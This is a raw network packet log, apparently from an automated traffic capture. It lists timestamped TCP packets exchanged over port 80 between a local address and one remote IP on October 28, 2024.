Oct 28, 2024 19:46:23.650245905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.846853018 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.852633953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.852721930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.852758884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.852777004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.852794886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.852828979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.852840900 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.852884054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.852916956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.852936029 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.852967024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.852999926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853013992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853050947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853085041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853111029 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853118896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853168011 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853168964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853204966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853236914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853255987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853305101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853338957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853348970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853373051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853425026 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853444099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853478909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853512049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853522062 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853545904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853590965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853596926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853631973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853663921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853682041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853698969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853741884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853748083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853782892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853832006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853832960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853867054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853899956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853914022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.853934050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853967905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.853982925 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.854003906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854053020 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.854420900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854526997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854574919 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.854578972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854612112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854661942 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.854676962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854710102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854743958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854752064 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.854778051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854811907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854819059 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.854863882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854897976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854909897 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.854932070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854965925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.854975939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.855003119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855036020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855048895 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.855230093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855264902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855271101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.855299950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855340004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.855379105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855412960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855447054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855460882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.855480909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855515003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855529070 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.855549097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855581999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855592966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.855617046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855654001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855667114 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.855701923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855736971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855747938 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.855770111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.855813026 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.856331110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.856364012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.856398106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.856411934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.856434107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.856483936 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.959084988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.964981079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965097904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965132952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965154886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965167046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965195894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965217113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965255976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965292931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965306997 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965327024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965361118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965377092 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965394020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965445042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965445995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965480089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965513945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965529919 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965548038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965580940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965599060 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965614080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965646982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965663910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965699911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965748072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965771914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965806007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965842009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965854883 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965874910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965908051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965915918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.965941906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965992928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.965992928 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.966027021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966062069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966078043 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.966094971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966129065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966135979 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.966162920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966196060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966213942 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.966229916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966267109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966280937 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.966304064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966353893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.966694117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966747046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966790915 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.966799974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966833115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966866970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966883898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.966902018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.966947079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.966953993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967003107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967035055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967046976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.967071056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967104912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967118025 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.967139006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967171907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967192888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.967206001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967240095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967252970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.967560053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967611074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.967634916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967670918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967720032 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.967753887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967786074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967819929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967828989 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.967854977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.967900991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.968043089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968096018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968128920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968152046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.968221903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968255997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968274117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.968291044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968324900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968336105 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.968359947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968410969 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.968452930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968487024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968519926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968534946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.968554974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968589067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968604088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.968624115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968658924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.968673944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.969082117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969115973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969130039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.969151020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969202042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969202995 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.969235897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969270945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969284058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.969305992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969351053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.969356060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969391108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969425917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969441891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.969459057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969494104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969502926 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.969657898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969691038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969706059 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.969724894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.969774961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.970108986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970143080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970176935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970185995 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.970227957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970262051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970272064 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.970297098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970330000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970339060 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.970382929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970416069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970424891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.970449924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970484018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970494986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.970518112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970551014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970563889 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.970588923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970622063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.970633030 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.970992088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971025944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971038103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.971076965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971112013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971122980 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.971163034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971194983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971206903 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.971230984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971281052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.971404076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971456051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971489906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971501112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.971554995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971586943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971601963 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.971621990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971654892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971673965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.971689939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971736908 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.971772909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971806049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971838951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971848965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.971873999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971921921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971925974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.971956015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.971991062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972007036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.972457886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972491026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972503901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.972542048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972575903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972580910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.972609997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972645998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972656012 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.972697020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972729921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972742081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.972764969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972798109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972811937 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.972851038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972883940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972898006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.972918034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972950935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.972969055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.972985983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.973037004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.974948883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.974981070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.974997044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.975027084 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.975034952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.975059986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.975073099 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.975075960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.975091934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.975109100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.975116968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.975163937 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.162339926 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.168148041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168262959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168303013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168320894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.168339014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168382883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168391943 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.168435097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168469906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168479919 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.168520927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168554068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168565989 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:24.168623924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:24.168658018 CET	80	49726	166.1.160.211	192.168.2.16
